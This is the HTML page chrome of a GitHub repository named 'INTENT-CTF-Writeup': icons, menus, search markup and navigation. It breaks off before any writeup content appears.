14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="428674070" data-scoped-search-url="/noflowpls/INTENT-CTF-Writeup/search" data-owner-scoped-search-url="/users/noflowpls/search" data-unscoped-search-url="/search" data-turbo="false" action="/noflowpls/INTENT-CTF-Writeup/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="pmPr/ptshE1uGeUDKI2E8RlKzi9I17bqnRurRxvLIcYbaFjh88pxnukpqsIoPIe4OiGoAguSqouCvPvMbrOiQg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> noflowpls </span> <span>/</span> INTENT-CTF-Writeup <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/noflowpls/INTENT-CTF-Writeup/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" 